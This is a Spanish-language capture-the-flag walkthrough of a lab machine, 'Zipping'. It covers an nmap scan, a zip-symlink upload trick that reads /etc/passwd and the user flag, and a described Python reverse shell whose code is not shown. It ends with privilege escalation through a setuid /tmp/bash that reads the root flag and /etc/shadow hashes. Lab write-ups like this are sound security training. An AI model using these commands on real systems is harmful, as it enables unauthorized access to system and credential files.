Accedemos a la IP 10.10.11.229 a través del navegador. A priori parece una tienda de relojes online.
Encontramos el apartado /shop, pero lo más interesantes es la parte de "Work with Us" en /upload.php, que nos permite subir un archivo:
En principio solo se puede subir un .zip:
Al probar a subir una webshell comprimida en un zip nos dice que solo puede contener un pdf:
Escaneo con Nmap
sudo nmap -v -sS -sV -sC 10.10.11.229
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nos encontramos abiertos los puertos 22 y 80. Los típicos.
Fuzzing
Al fuzzear con dirsearch nos encontramos el directorio /uploads, donde se suben los archivos:
Test de subida de archivos
Vamos a utilizar simlink para intentar acceder a /etc/passwd , crear un archivo pdf, y comprimirlo para la subida:
ln -s /etc/passwd ./symlink.pdf
zip --symlinks test.zip symlink.pdf
Bingo. test.zip se sube correctamente y nos da un link:
Lo guardamos en un archivo code y lo decodificamos usando:
base64 code -d
E Voilá. Tenemos el passwd y nos encontramos el usuario rektsu con permisos de ejecución en la shell:
rektsu:x:1001:1001::/home/rektsu:/bin/bash
Con el mismo procedimiento, cambiamos la ruta a /home/rektsu/user.txt y conseguimos el user flag:
Al intentar ese procedimiento para acceder a archivos como el shadow donde se almacenan todos los hashes de contraseñas o a la carpeta root, nos devuelve un error "Not found", no es capaz de acceder, por lo que tendremos que encontrar otra manera:
Exploit
Vamos a crear un exploit en python para conectarnos al host y tener un mayor control. Lo que hace el siguiente script es crear una reverse shell y devolvernos una conexión reversa a nuestro netcat listener:
E voilá! Ya estamos dentro, obteniendo una reverse shell. De la misma manera obtenemos de nuevo el user flag:
Escalada de Privilegios
Como es típico en todas las máquinas Linux, vamos a ejecutar un Linpeas para ver que información nos saca:
Nos encuentra un archivo interesante marcado como crítico en /tmp/bash:
Al intentar explotarlo con /tmp/bash -p parece que no nos da resultados porque algunos comandos no los ejecuta bien, pero en realidad si hacemos un cat /root/root.txt obtenemos el root flag 🏆
Para comprometerlo completamente vamos más allá y si hacemos un cat /etc/shadow nos devuelve todos los hashes que podemos crackear: